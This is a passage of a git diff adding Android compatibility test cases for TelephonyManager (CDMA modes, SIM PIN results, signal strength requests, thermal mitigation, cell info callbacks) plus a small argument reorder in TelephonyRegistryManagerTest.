+        int cdmaRoamingMode = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                TelephonyManager::getCdmaRoamingMode);
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                tm -> tm.setCdmaRoamingMode(TelephonyManager.CDMA_ROAMING_MODE_HOME));
+        assertEquals(TelephonyManager.CDMA_ROAMING_MODE_HOME,
+                (int) ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                        TelephonyManager::getCdmaRoamingMode));
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                tm -> tm.setCdmaRoamingMode(TelephonyManager.CDMA_ROAMING_MODE_AFFILIATED));
+        assertEquals(TelephonyManager.CDMA_ROAMING_MODE_AFFILIATED,
+                (int) ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                        TelephonyManager::getCdmaRoamingMode));
+
+        // Reset state
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                tm -> tm.setCdmaRoamingMode(cdmaRoamingMode));
+    }
+
+    @Test
+    public void testCdmaSubscriptionMode() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
+                || mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_CDMA) {
+            return;
+        }
+
+        // Save state
+        int cdmaSubscriptionMode = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, TelephonyManager::getCdmaSubscriptionMode);
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                tm -> tm.setCdmaSubscriptionMode(TelephonyManager.CDMA_SUBSCRIPTION_NV));
+        assertEquals(TelephonyManager.CDMA_SUBSCRIPTION_NV,
+                (int) ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                        TelephonyManager::getCdmaSubscriptionMode));
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                tm -> tm.setCdmaSubscriptionMode(TelephonyManager.CDMA_SUBSCRIPTION_RUIM_SIM));
+        assertEquals(TelephonyManager.CDMA_SUBSCRIPTION_RUIM_SIM,
+                (int) ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                        TelephonyManager::getCdmaSubscriptionMode));
+
+        // Reset state
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                tm -> tm.setCdmaSubscriptionMode(cdmaSubscriptionMode));
+    }
+
+    @Test
+    public void testPinResult() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        final String pin = "fake_pin";
+        final String puk = "fake_puk";
+        final String newPin = "fake_new_pin";
+
+        boolean isEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, TelephonyManager::isIccLockEnabled);
+        PinResult result = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.setIccLockEnabled(!isEnabled, pin));
+        assertTrue(result.getResult() == PinResult.PIN_RESULT_TYPE_INCORRECT
+                || result.getResult() == PinResult.PIN_RESULT_TYPE_FAILURE);
+        assertTrue(result.getAttemptsRemaining() >= -1);
+        assertEquals(isEnabled, ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, TelephonyManager::isIccLockEnabled));
+
+        result = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.changeIccLockPin(pin, newPin));
+        assertTrue(result.getResult() == PinResult.PIN_RESULT_TYPE_INCORRECT
+                || result.getResult() == PinResult.PIN_RESULT_TYPE_FAILURE);
+        assertTrue(result.getAttemptsRemaining() >= -1);
+
+        result = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.supplyIccLockPin(pin));
+        assertTrue(result.getResult() == PinResult.PIN_RESULT_TYPE_INCORRECT
+                || result.getResult() == PinResult.PIN_RESULT_TYPE_FAILURE);
+        assertTrue(result.getAttemptsRemaining() >= -1);
+
+        result = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.supplyIccLockPuk(puk, pin));
+        assertTrue(result.getResult() == PinResult.PIN_RESULT_TYPE_INCORRECT
+                || result.getResult() == PinResult.PIN_RESULT_TYPE_FAILURE);
+        assertTrue(result.getAttemptsRemaining() >= -1);
+    }
+
+    @Test
+    public void testSetSignalStrengthUpdateRequest_nullRequest() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "skipping test on device without FEATURE_TELEPHONY present");
+            return;
+        }
+
+        // Verify NPE throws if set request with null object
+        try {
+            mTelephonyManager.setSignalStrengthUpdateRequest(null);
+            fail("NullPointerException expected when setSignalStrengthUpdateRequest with null");
+        } catch (NullPointerException expected) {
+        }
+    }
+
+    @Test
+    public void testSetSignalStrengthUpdateRequest_noPermission() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "skipping test on device without FEATURE_TELEPHONY present");
+            return;
+        }
+
+        final SignalStrengthUpdateRequest normalRequest =
+                new SignalStrengthUpdateRequest.Builder()
+                        .setSignalThresholdInfos(List.of(
+                                new SignalThresholdInfo.Builder()
+                                        .setRadioAccessNetworkType(
+                                                AccessNetworkConstants.AccessNetworkType.GERAN)
+                                        .setSignalMeasurementType(
+                                                SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                                        .setThresholds(new int[]{-113, -103, -97, -51})
+                                        .build()))
+                        .setReportingRequestedWhileIdle(true)
+                        .build();
+
+        // Verify SE throws for apps without carrier privilege or MODIFY_PHONE_STATE permission
+        try {
+            mTelephonyManager.setSignalStrengthUpdateRequest(normalRequest);
+            fail("SecurityException expected when setSignalStrengthUpdateRequest without "
+                    + "carrier privilege or MODIFY_PHONE_STATE permission");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    @Test
+    public void testSetSignalStrengthUpdateRequest_systemThresholdReportingRequestedWhileIdle() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "skipping test on device without FEATURE_TELEPHONY present");
+            return;
+        }
+
+        // Verify SE throws for app when set systemThresholdReportingRequestedWhileIdle to true
+        SignalStrengthUpdateRequest requestWithSystemThresholdReportingRequestedWhileIdle =
+                new SignalStrengthUpdateRequest.Builder()
+                        .setSignalThresholdInfos(List.of(
+                                new SignalThresholdInfo.Builder()
+                                        .setRadioAccessNetworkType(
+                                                AccessNetworkConstants.AccessNetworkType.GERAN)
+                                        .setSignalMeasurementType(
+                                                SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                                        .setThresholds(new int[]{-113, -103, -97, -51})
+                                        .build()))
+                        .setReportingRequestedWhileIdle(true)
+                        //allowed for system caller only
+                        .setSystemThresholdReportingRequestedWhileIdle(true)
+                        .build();
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    (tm) -> tm.setSignalStrengthUpdateRequest(
+                            requestWithSystemThresholdReportingRequestedWhileIdle));
+            fail("IllegalArgumentException expected when set "
+                    + "systemThresholdReportingRequestedWhileIdle");
+        } catch (IllegalArgumentException expected) {
+        }
+    }
+
+    @Test
+    public void testSetSignalStrengthUpdateRequest_systeresisDbSet() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "skipping test on device without FEATURE_TELEPHONY present");
+            return;
+        }
+
+        // Verify SE throws for app when set hysteresisDb in the SignalThresholdInfo
+        SignalStrengthUpdateRequest requestWithHysteresisDbSet =
+                new SignalStrengthUpdateRequest.Builder()
+                        .setSignalThresholdInfos(List.of(
+                                new SignalThresholdInfo.Builder()
+                                        .setRadioAccessNetworkType(
+                                                AccessNetworkConstants.AccessNetworkType.GERAN)
+                                        .setSignalMeasurementType(
+                                                SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                                        .setThresholds(new int[]{-113, -103, -97, -51})
+                                        .setHysteresisDb(10) //allowed for system caller only
+                                        .build()))
+                        .setReportingRequestedWhileIdle(true)
+                        .build();
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    (tm) -> tm.setSignalStrengthUpdateRequest(requestWithHysteresisDbSet));
+            fail("IllegalArgumentException expected when set hysteresisDb in SignalThresholdInfo "
+                    + "to true");
+        } catch (IllegalArgumentException expected) {
+        }
+    }
+
+    @Test
+    public void testSetSignalStrengthUpdateRequest_systeresisMsSet() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "skipping test on device without FEATURE_TELEPHONY present");
+            return;
+        }
+
+        // Verify SE throws for app when set hysteresisMs in the SignalThresholdInfo
+        SignalStrengthUpdateRequest requestWithHysteresisMsSet =
+                new SignalStrengthUpdateRequest.Builder()
+                        .setSignalThresholdInfos(List.of(
+                                new SignalThresholdInfo.Builder()
+                                        .setRadioAccessNetworkType(
+                                                AccessNetworkConstants.AccessNetworkType.GERAN)
+                                        .setSignalMeasurementType(
+                                                SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                                        .setThresholds(new int[]{-113, -103, -97, -51})
+                                        .setHysteresisMs(1000) //allowed for system caller only
+                                        .build()))
+                        .setReportingRequestedWhileIdle(true)
+                        .build();
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    (tm) -> tm.setSignalStrengthUpdateRequest(requestWithHysteresisMsSet));
+            fail("IllegalArgumentException expected when set hysteresisMs in SignalThresholdInfo "
+                    + "to true");
+        } catch (IllegalArgumentException expected) {
+        }
+    }
+
+    @Test
+    public void testSetSignalStrengthUpdateRequest_isEnabledSet() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "skipping test on device without FEATURE_TELEPHONY present");
+            return;
+        }
+
+        // Verify SE throws for app when set isEnabled in the SignalThresholdInfo
+        SignalStrengthUpdateRequest requestWithThresholdIsEnabledSet =
+                new SignalStrengthUpdateRequest.Builder()
+                        .setSignalThresholdInfos(List.of(
+                                new SignalThresholdInfo.Builder()
+                                        .setRadioAccessNetworkType(
+                                                AccessNetworkConstants.AccessNetworkType.GERAN)
+                                        .setSignalMeasurementType(
+                                                SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                                        .setThresholds(new int[]{-113, -103, -97})
+                                        .setIsEnabled(true) //allowed for system caller only
+                                        .build()))
+                        .setReportingRequestedWhileIdle(true)
+                        .build();
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    (tm) -> tm.setSignalStrengthUpdateRequest(requestWithThresholdIsEnabledSet));
+            fail("IllegalArgumentException expected when set isEnabled in SignalThresholdInfo "
+                    + "with true");
+        } catch (IllegalArgumentException expected) {
+        }
+    }
+
+    @Test
+    public void testSetSignalStrengthUpdateRequest_tooShortThresholds() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "skipping test on device without FEATURE_TELEPHONY present");
+            return;
+        }
+
+        // verify SE throws if app set too short thresholds
+        SignalStrengthUpdateRequest requestWithTooShortThresholds =
+                new SignalStrengthUpdateRequest.Builder()
+                        .setSignalThresholdInfos(List.of(
+                                new SignalThresholdInfo.Builder()
+                                        .setRadioAccessNetworkType(
+                                                AccessNetworkConstants.AccessNetworkType.GERAN)
+                                        .setSignalMeasurementType(
+                                                SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                                        .setThresholds(new int[]{}, true /*isSystem*/)
+                                        .build()))
+                        .setReportingRequestedWhileIdle(true)
+                        .build();
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    (tm) -> tm.setSignalStrengthUpdateRequest(requestWithTooShortThresholds));
+            fail("IllegalArgumentException expected when set thresholds that is too short");
+        } catch (IllegalArgumentException expected) {
+        }
+    }
+
+    @Test
+    public void testSetSignalStrengthUpdateRequest_tooLongThresholds() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "skipping test on device without FEATURE_TELEPHONY present");
+            return;
+        }
+
+        // verify SE throws if app set too long thresholds
+        SignalStrengthUpdateRequest requestWithTooLongThresholds =
+                new SignalStrengthUpdateRequest.Builder()
+                        .setSignalThresholdInfos(List.of(
+                                new SignalThresholdInfo.Builder()
+                                        .setRadioAccessNetworkType(
+                                                AccessNetworkConstants.AccessNetworkType.GERAN)
+                                        .setSignalMeasurementType(
+                                                SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                                        .setThresholds(new int[]{-113, -103, -97, -61, -51},
+                                            true /*isSystem*/)
+                                        .build()))
+                        .setReportingRequestedWhileIdle(true)
+                        .build();
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    (tm) -> tm.setSignalStrengthUpdateRequest(requestWithTooLongThresholds));
+            fail("IllegalArgumentException expected when set thresholds that is too long");
+        } catch (IllegalArgumentException expected) {
+        }
+    }
+
+    @Test
+    public void testSetSignalStrengthUpdateRequest_duplicatedRequest() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "skipping test on device without FEATURE_TELEPHONY present");
+            return;
+        }
+
+        final SignalStrengthUpdateRequest normalRequest =
+                new SignalStrengthUpdateRequest.Builder()
+                        .setSignalThresholdInfos(List.of(
+                                new SignalThresholdInfo.Builder()
+                                        .setRadioAccessNetworkType(
+                                                AccessNetworkConstants.AccessNetworkType.GERAN)
+                                        .setSignalMeasurementType(
+                                                SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                                        .setThresholds(new int[]{-113, -103, -97, -51})
+                                        .build()))
+                        .setReportingRequestedWhileIdle(true)
+                        .build();
+
+        // Verify IllegalStateException should throw when set the same request twice
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                (tm) -> tm.setSignalStrengthUpdateRequest(normalRequest));
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    (tm) -> tm.setSignalStrengthUpdateRequest(normalRequest));
+            fail("IllegalStateException expected when setSignalStrengthUpdateRequest twice with "
+                    + "same request object");
+        } catch (IllegalStateException expected) {
+        } finally {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    (tm) -> tm.clearSignalStrengthUpdateRequest(normalRequest));
+        }
+    }
+
+    @Test
+    public void testClearSignalStrengthUpdateRequest_nullRequest() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "skipping test on device without FEATURE_TELEPHONY present");
+            return;
+        }
+
+        // Verify NPE should throw if clear request with null object
+        try {
+            mTelephonyManager.clearSignalStrengthUpdateRequest(null);
+            fail("NullPointerException expected when clearSignalStrengthUpdateRequest with null");
+        } catch (NullPointerException expected) {
+        }
+    }
+
+    @Test
+    public void testClearSignalStrengthUpdateRequest_noPermission() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "skipping test on device without FEATURE_TELEPHONY present");
+            return;
+        }
+
+        final SignalStrengthUpdateRequest normalRequest =
+                new SignalStrengthUpdateRequest.Builder()
+                        .setSignalThresholdInfos(List.of(
+                                new SignalThresholdInfo.Builder()
+                                        .setRadioAccessNetworkType(
+                                                AccessNetworkConstants.AccessNetworkType.GERAN)
+                                        .setSignalMeasurementType(
+                                                SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                                        .setThresholds(new int[]{-113, -103, -97, -51})
+                                        .build()))
+                        .setReportingRequestedWhileIdle(true)
+                        .build();
+
+        // Verify SE throws for apps without carrier privilege or MODIFY_PHONE_STATE permission
+        try {
+            mTelephonyManager.clearSignalStrengthUpdateRequest(normalRequest);
+            fail("SecurityException expected when clearSignalStrengthUpdateRequest without "
+                    + "carrier privilege or MODIFY_PHONE_STATE permission");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    @Test
+    public void testClearSignalStrengthUpdateRequest_clearWithNoSet() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "skipping test on device without FEATURE_TELEPHONY present");
+            return;
+        }
+
+        SignalStrengthUpdateRequest requestNeverSetBefore = new SignalStrengthUpdateRequest
+                .Builder()
+                .setSignalThresholdInfos(List.of(new SignalThresholdInfo.Builder()
+                        .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.GERAN)
+                        .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                        .setThresholds(new int[]{-113, -103, -97, -51})
+                        .build()))
+                .setReportingRequestedWhileIdle(true)
+                .build();
+
+        // Verify clearSignalStrengthUpdateRequest is no-op when clear request that was not set
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                (tm) -> tm.clearSignalStrengthUpdateRequest(requestNeverSetBefore));
+    }
+
+    @Test
+    public void testSendThermalMitigationRequest() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        long arbitraryCompletionWindowSecs = 1L;
+
+
+        // Test a proper data throttling thermal mitigation request.
+        int thermalMitigationResult = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.sendThermalMitigationRequest(
+                        new ThermalMitigationRequest.Builder()
+                                .setThermalMitigationAction(ThermalMitigationRequest
+                                        .THERMAL_MITIGATION_ACTION_DATA_THROTTLING)
+                                .setDataThrottlingRequest(new DataThrottlingRequest.Builder()
+                                        .setDataThrottlingAction(DataThrottlingRequest
+                                                .DATA_THROTTLING_ACTION_THROTTLE_SECONDARY_CARRIER)
+                                        .setCompletionDurationMillis(arbitraryCompletionWindowSecs)
+                                        .build())
+                                .build()));
+        // Only verify the result for supported devices on IRadio 1.6+
+        if (mRadioVersion >= RADIO_HAL_VERSION_1_6) {
+            assertEquals(thermalMitigationResult,
+                    TelephonyManager.THERMAL_MITIGATION_RESULT_SUCCESS);
+        }
+        // Test negative completionDurationSecs is an invalid parameter.
+        try {
+            thermalMitigationResult = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.sendThermalMitigationRequest(
+                            new ThermalMitigationRequest.Builder()
+                                    .setThermalMitigationAction(ThermalMitigationRequest
+                                            .THERMAL_MITIGATION_ACTION_DATA_THROTTLING)
+                                    .setDataThrottlingRequest(new DataThrottlingRequest.Builder()
+                                            .setDataThrottlingAction(DataThrottlingRequest
+                                                    .DATA_THROTTLING_ACTION_THROTTLE_PRIMARY_CARRIER
+                                            )
+                                            .setCompletionDurationMillis(-1)
+                                            .build())
+                                    .build()));
+        } catch (IllegalArgumentException e) {
+        }
+
+        // Test non-zero completionDurationSecs is an invalid parameter for data throttling hold.
+        try {
+            thermalMitigationResult = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.sendThermalMitigationRequest(
+                            new ThermalMitigationRequest.Builder()
+                                    .setThermalMitigationAction(ThermalMitigationRequest
+                                            .THERMAL_MITIGATION_ACTION_DATA_THROTTLING)
+                                    .setDataThrottlingRequest(new DataThrottlingRequest.Builder()
+                                            .setDataThrottlingAction(
+                                                    DataThrottlingRequest
+                                                            .DATA_THROTTLING_ACTION_HOLD)
+                                            .setCompletionDurationMillis(
+                                                    arbitraryCompletionWindowSecs)
+                                            .build())
+                                    .build()));
+        } catch (IllegalArgumentException e) {
+        }
+
+        // Test null DataThrottlingParams is an invalid parameter for data throttling request.
+        try {
+            thermalMitigationResult = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.sendThermalMitigationRequest(
+                            new ThermalMitigationRequest.Builder()
+                                    .setThermalMitigationAction(ThermalMitigationRequest
+                                            .THERMAL_MITIGATION_ACTION_DATA_THROTTLING)
+                                    .build()));
+        } catch (IllegalArgumentException e) {
+        }
+
+        // Test non-null DataThrottlingParams is an invalid parameter for voice only request.
+        try {
+            thermalMitigationResult = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.sendThermalMitigationRequest(
+                            new ThermalMitigationRequest.Builder()
+                                    .setThermalMitigationAction(
+                                            ThermalMitigationRequest
+                                                    .THERMAL_MITIGATION_ACTION_VOICE_ONLY)
+                                    .setDataThrottlingRequest(new DataThrottlingRequest.Builder()
+                                            .setDataThrottlingAction(
+                                                    DataThrottlingRequest
+                                                            .DATA_THROTTLING_ACTION_THROTTLE_PRIMARY_CARRIER
+                                            )
+                                            .setCompletionDurationMillis(-1)
+                                            .build())
+                                    .build()));
+        } catch (IllegalArgumentException e) {
+        }
+
+        // Test non-null DataThrottlingParams is an invalid parameter for radio off request.
+        try {
+            thermalMitigationResult = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.sendThermalMitigationRequest(
+                            new ThermalMitigationRequest.Builder()
+                                    .setThermalMitigationAction(
+                                            ThermalMitigationRequest
+                                                    .THERMAL_MITIGATION_ACTION_RADIO_OFF)
+                                    .setDataThrottlingRequest(new DataThrottlingRequest.Builder()
+                                            .setDataThrottlingAction(DataThrottlingRequest
+                                                    .DATA_THROTTLING_ACTION_THROTTLE_PRIMARY_CARRIER
+                                            )
+                                            .setCompletionDurationMillis(-1)
+                                            .build())
+                                    .build()));
+        } catch (IllegalArgumentException e) {
+        }
+    }
+
+    @Test
+    public void testIsRadioInterfaceCapabilitySupported() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) return;
+
+        assertFalse(mTelephonyManager.isRadioInterfaceCapabilitySupported("empty"));
+        assertFalse(mTelephonyManager.isRadioInterfaceCapabilitySupported(null));
+        assertFalse(mTelephonyManager.isRadioInterfaceCapabilitySupported(""));
+    }
+
+    @Test
+    public void testGetAllCellInfo() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) return;
+
+        // For IRadio <1.5, just verify that calling the method doesn't throw an error.
+        if (mRadioVersion < RADIO_HAL_VERSION_1_5) {
+            mTelephonyManager.getAllCellInfo();
+            return;
+        }
+
+        for (CellInfo cellInfo : mTelephonyManager.getAllCellInfo()) {
+            CellIdentity cellIdentity = cellInfo.getCellIdentity();
+            int[] bands;
+            if (cellIdentity instanceof CellIdentityLte) {
+                bands = ((CellIdentityLte) cellIdentity).getBands();
+                for (int band : bands) {
+                    assertTrue(band >= AccessNetworkConstants.EutranBand.BAND_1
+                            && band <= AccessNetworkConstants.EutranBand.BAND_88);
+                }
+            } else if (cellIdentity instanceof CellIdentityNr) {
+                bands = ((CellIdentityNr) cellIdentity).getBands();
+                for (int band : bands) {
+                    assertTrue((band >= AccessNetworkConstants.NgranBands.BAND_1
+                            && band <= AccessNetworkConstants.NgranBands.BAND_95)
+                            || (band >= AccessNetworkConstants.NgranBands.BAND_257
+                            && band <= AccessNetworkConstants.NgranBands.BAND_261));
+                }
+            } else {
+                continue;
+            }
+            assertTrue(bands.length > 0);
+        }
+    }
+
     /**
      * Validate Emergency Number address that only contains the dialable character.
      *
@@ -3189,5 +4101,158 @@
         if (major < 0 || minor < 0) return 0;
         return major * 100 + minor;
     }
+
+    private Executor mSimpleExecutor = new Executor() {
+        @Override
+        public void execute(Runnable r) {
+            r.run();
+        }
+    };
+
+    private static MockSignalStrengthsTelephonyCallback mMockSignalStrengthsTelephonyCallback;
+
+    private class MockSignalStrengthsTelephonyCallback extends TelephonyCallback
+            implements TelephonyCallback.SignalStrengthsListener {
+        @Override
+        public void onSignalStrengthsChanged(SignalStrength signalStrength) {
+            if (!mOnSignalStrengthsChanged) {
+                synchronized (mLock) {
+                    mOnSignalStrengthsChanged = true;
+                    mLock.notify();
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testRegisterTelephonyCallbackWithNonLooper() throws Throwable {
+        if (!InstrumentationRegistry.getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires PackageManager.FEATURE_TELEPHONY");
+            return;
+        }
+
+        mMockSignalStrengthsTelephonyCallback = new MockSignalStrengthsTelephonyCallback();
+
+        // Test register, generates an mOnSignalStrengthsChanged event
+        mTelephonyManager.registerTelephonyCallback(mSimpleExecutor,
+                mMockSignalStrengthsTelephonyCallback);
+
+        synchronized (mLock) {
+            if (!mOnSignalStrengthsChanged) {
+                mLock.wait(TOLERANCE);
+            }
+        }
+        assertTrue("Test register, mOnSignalStrengthsChanged should be true.",
+                mOnSignalStrengthsChanged);
+
+        // Test unregister
+        mOnSignalStrengthsChanged = false;
+        // unregister again, to make sure doing so does not call the listener
+        mTelephonyManager.unregisterTelephonyCallback(mMockSignalStrengthsTelephonyCallback);
+
+        assertFalse("Test unregister, mOnSignalStrengthsChanged should be false.",
+                mOnSignalStrengthsChanged);
+    }
+
+    private static MockCellInfoListener mMockCellInfoListener;
+
+    private class MockCellInfoListener extends TelephonyCallback
+            implements TelephonyCallback.CellInfoListener {
+        @Override
+        public void onCellInfoChanged(@NonNull List<CellInfo> cellInfo) {
+            if (!mOnCellInfoChanged) {
+                synchronized (mLock) {
+                    mOnCellInfoChanged = true;
+                    mLock.notify();
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testRegisterTelephonyCallback() throws Throwable {
+        if (!InstrumentationRegistry.getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires PackageManager.FEATURE_TELEPHONY");
+            return;
+        }
+
+        if (mTelephonyManager.getPhoneType() == TelephonyManager.PHONE_TYPE_CDMA) {
+            // TODO: temp workaround, need to adjust test to for CDMA
+            return;
+        }
+        grantLocationPermissions();
+
+        TestThread t = new TestThread(new Runnable() {
+            public void run() {
+                Looper.prepare();
+                mMockCellInfoListener = new MockCellInfoListener();
+                synchronized (mLock) {
+                    mLock.notify(); // listener is ready
+                }
+
+                Looper.loop();
+            }
+        });
+
+        synchronized (mLock) {
+            t.start();
+            mLock.wait(TOLERANCE); // wait for mListener
+        }
+
+        // Test register
+        synchronized (mLock) {
+            // .registerTelephonyCallback generates an onCellLocationChanged event
+            mTelephonyManager.registerTelephonyCallback(mSimpleExecutor, mMockCellInfoListener);
+            mLock.wait(TOLERANCE);
+
+            assertTrue("Test register, mOnCellLocationChangedCalled should be true.",
+                    mOnCellInfoChanged);
+        }
+
+        synchronized (mLock) {
+            mOnCellInfoChanged = false;
+
+            CellInfoResultsCallback resultsCallback = new CellInfoResultsCallback();
+            mTelephonyManager.requestCellInfoUpdate(getContext().getMainExecutor(), resultsCallback);
+            mLock.wait(TOLERANCE);
+
+            assertTrue("Test register, mOnCellLocationChangedCalled should be true.",
+                    mOnCellInfoChanged);
+        }
+
+        // unregister the listener
+        mTelephonyManager.unregisterTelephonyCallback(mMockCellInfoListener);
+        Thread.sleep(TOLERANCE);
+
+        // Test unregister
+        synchronized (mLock) {
+            mOnCellInfoChanged = false;
+            // unregister again, to make sure doing so does not call the listener
+            mTelephonyManager.unregisterTelephonyCallback(mMockCellInfoListener);
+            CellLocation.requestLocationUpdate();
+            mLock.wait(TOLERANCE);
+
+            assertFalse("Test unregister, mOnCellLocationChangedCalled should be false.",
+                    mOnCellInfoChanged);
+        }
+    }
+
+    private class CellInfoResultsCallback extends TelephonyManager.CellInfoCallback {
+        public List<CellInfo> cellInfo;
+
+        @Override
+        public synchronized void onCellInfo(List<CellInfo> cellInfo) {
+            this.cellInfo = cellInfo;
+            notifyAll();
+        }
+
+        public synchronized void wait(int millis) throws InterruptedException {
+            if (cellInfo == null) {
+                super.wait(millis);
+            }
+        }
+    }
 }
 
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyRegistryManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyRegistryManagerTest.java
index 45a4a1c..d927574 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyRegistryManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyRegistryManagerTest.java
@@ -103,9 +103,10 @@
 
         String dummyNumber = "288124";
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyRegistryMgr,
-                (trm) -> trm.notifyCallStateChanged(SubscriptionManager.getDefaultSubscriptionId(),
+                (trm) -> trm.notifyCallStateChanged(
                         SubscriptionManager.getSlotIndex(
                                 SubscriptionManager.getDefaultSubscriptionId()),
+                        SubscriptionManager.getDefaultSubscriptionId(),
                         TelephonyManager.CALL_STATE_IDLE, dummyNumber));
 
         Pair<Integer, String> result = queue.poll(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
@@ -135,9 +136,9 @@
         dummyState.setCdmaSystemAndNetworkId(1234, 5678);
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyRegistryMgr,
                 (trm) -> trm.notifyServiceStateChanged(
-                        SubscriptionManager.getDefaultSubscriptionId(),
                         SubscriptionManager.getSlotIndex(
                                 SubscriptionManager.getDefaultSubscriptionId()),
+                        SubscriptionManager.getDefaultSubscriptionId(),
                         dummyState));
 
         ServiceState result = queue.poll(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
